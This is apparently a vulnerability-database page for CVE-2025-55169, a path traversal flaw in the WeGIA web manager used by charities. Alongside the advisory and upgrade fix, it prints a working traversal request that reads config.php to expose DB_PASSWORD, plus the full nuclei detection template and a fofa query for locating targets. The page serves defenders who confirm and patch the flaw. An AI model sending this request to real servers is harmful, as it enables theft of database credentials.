HexBrain

Browse / CVEs / CVE-2025-55169

CVE-2025-55169

WeGIA - Directory Traversal

criticalseverity
1.7%likelihood of exploitation, next 30 days
78%of all CVEs are less likely
Readycheck to confirm it

WeGIA is an open source web manager with a focus on the Portuguese language and charitable institutions. Prior to version 3.4.8, a path traversal vulnerability was discovered in the WeGIA application, html/socio/sistema/download_remessa.php endpoint. This vulnerability could allow an attacker to gain unauthorized access to local files in the server and sensitive information stored in config.php. config.php contains information that could allow direct access to the database. This issue has been patched in version 3.4.8.

Impact

Attackers can read arbitrary files including sensitive configuration files containing database credentials through path traversal in the download_remessa.php endpoint.

Fix

Upgrade to WeGIA version 3.4.8 or later, which patches the path traversal vulnerability.

How to confirm it

Send: GET /html/socio/sistema/download_remessa.php?file=../../../www/html/wegia/config.php
Positive when: contains "DB_PASSWORD" AND contains in content_type "application/octet-stream" AND status 200

Run it with nuclei: nuclei -id CVE-2025-55169 -u <target>

The full check
id: CVE-2025-55169

info:
  name: WeGIA - Directory Traversal
  author: praivesi
  severity: critical
  description: |
    WeGIA is an open source web manager with a focus on the Portuguese language and charitable institutions. Prior to version 3.4.8, a path traversal vulnerability was discovered in the WeGIA application, html/socio/sistema/download_remessa.php endpoint. This vulnerability could allow an attacker to gain unauthorized access to local files in the server and sensitive information stored in config.php. config.php contains information that could allow direct access to the database. This issue has been patched in version 3.4.8.
  impact: |
    Attackers can read arbitrary files including sensitive configuration files containing database credentials through path traversal in the download_remessa.php endpoint.
  remediation: |
    Upgrade to WeGIA version 3.4.8 or later, which patches the path traversal vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55169
    - https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-mm3p-7573-4x4j
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="WeGIA"
  tags: cve,cve2025,wegia,lfi,vuln

http:
  - raw:
      - |
        GET /html/socio/sistema/download_remessa.php?file=../../../www/html/wegia/config.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_PASSWORD"

      - type: word
        part: content_type
        words:
          - "application/octet-stream"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from